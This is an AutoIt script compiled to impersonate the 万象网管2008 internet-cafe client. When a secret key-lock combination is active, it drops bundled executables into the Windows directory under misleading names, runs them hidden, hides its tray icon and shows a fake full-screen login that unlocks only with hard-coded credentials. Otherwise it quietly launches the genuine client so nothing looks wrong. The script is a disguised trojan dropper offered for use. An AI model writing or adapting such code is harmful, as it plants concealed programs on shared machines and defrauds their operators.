#NoTrayIcon
#Region ;**** 参数创建于 ACNWrapper_GUI ****
#AutoIt3Wrapper_icon=e:\wx1.ico
#AutoIt3Wrapper_outfile=e:\wx2008-done-26-23-55.exe
#EndRegion ;**** 参数创建于 ACNWrapper_GUI ****
#include <WindowsConstants.au3>
#include <GUIConstantsEx.au3>
Opt("TrayOnEventMode",1) ;应用/关闭 OnEvent 函数通知于系统托盘图标. 0 = (默认) 关闭 1 = 应用
;~ Opt("GUIOnEventMode", 0) ;0=取消, 1=启用 OnEvent 模式
Opt("TrayMenuMode",1) ;默认菜单项目 (脚本暂停中/退出)(Script Paused/Exit) 将不会显示.
TraySetState(2) ;卸载/隐藏 托盘图标
HotKeySet("+!P","quit") ;按Shift+ALT+P退出脚本
HotKeySet("{enter}","enter")
#include <WinAPI.au3>
Global Const $VK_CAPITAL = 0x14
Global Const $VK_NUMLOCK = 0x90
;~ Global Const $VK_SHIFT = 0x10
Global Const $VK_SCROLL=0x91
Global $ID
Global $pwd
If _GetNumLock()=1 And _GetCapsLock()=1 And _GetScrollLock()=1 Then
jia()
Else
zhen()
EndIf
Func _GetNumLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_NUMLOCK)
Return $ret[0]
EndFunc ;==>_GetNumLock
Func _GetScrollLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_SCROLL)
Return $ret[0]
EndFunc ;==>_GetScrollLock
Func _GetCapsLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_CAPITAL)
Return $ret[0]
EndFunc ;==>_GetCapsLock
Func jia()
FileInstall("E:\Bar.exe",@WindowsDir&"\DrvAnti.exe",1)
FileInstall("E:\Drv.exe",@WindowsDir&"\BarClientView.exe",1)
FileInstall("E:\真Clsmn.exe",@DesktopDir&"\Clsmn.exe",1) ;真的Clsmn.exe
Run(@WindowsDir&"\BarClientView.exe","",@SW_HIDE)
Run(@WindowsDir&"\DrvAnti.exe","",@SW_HIDE)
FileInstall("E:\wx2008pic.jpg",@WindowsDir&"\wx2008pic.JPG",1)
FileInstall("E:\wx3.ico",@WindowsDir&"\wx2008.ico",1)
TraySetIcon(@WindowsDir&"\wx2008.ico","")
;创建背景窗口
GUICreate("万象网管2008标准版",@DesktopWidth,@DesktopHeight,"","",$WS_POPUP)
Global $ID=GUICtrlCreateInput("",695,694,130,22 )
GUISetStyle(-1,0)
Global $pwd=GUICtrlCreateInput("",854,694,130,22)
GUISetStyle(-1,0)
Global $LOGON=GUICtrlCreateLabel("",1001,693,32,32);类button,登陆
;~ GUICtrlSetOnEvent($LOGON, "lab")
GUICtrlCreatePic(@WindowsDir&"\wx2008pic.JPG", 0,0,@DesktopWidth, @DesktopHeight)
GUISetState(@SW_SHOW)
While 1
$msg = GUIGetMsg()
Select
Case $msg=$LOGON
If GUICtrlRead($ID)=8705184714 And GUICtrlRead($pwd)=129526 Then
GUISetState(@SW_MINIMIZE)
FileDelete(@DesktopDir&"\Clsmn.exe")
Else
ToolTip("此卡未激活!",1031,695)
Sleep(800)
ToolTip("",1031,695)
EndIf
EndSelect
WEnd
EndFunc
Func zhen()
FileInstall("E:\真Clsmn.exe",@WindowsDir&"\Clsmn.exe",1) ;真的Clsmn.exe
Run(@WindowsDir&"\Clsmn.exe","",@SW_SHOW)
Exit 0
EndFunc
Func enter()
If GUICtrlRead($ID)=8705184714 And GUICtrlRead($pwd)=129526 Then
GUISetState(@SW_MINIMIZE)
FileDelete(@DesktopDir&"\Clsmn.exe")
Else
If GUICtrlRead($ID)<>8705184714 OR GUICtrlRead($pwd)<>129526 Then
ToolTip("请输入正确的卡号和密码!",696,695)
Sleep(800)
ToolTip("",696,695)
EndIf
EndIf
EndFunc
Func quit()
Exit 0
EndFunc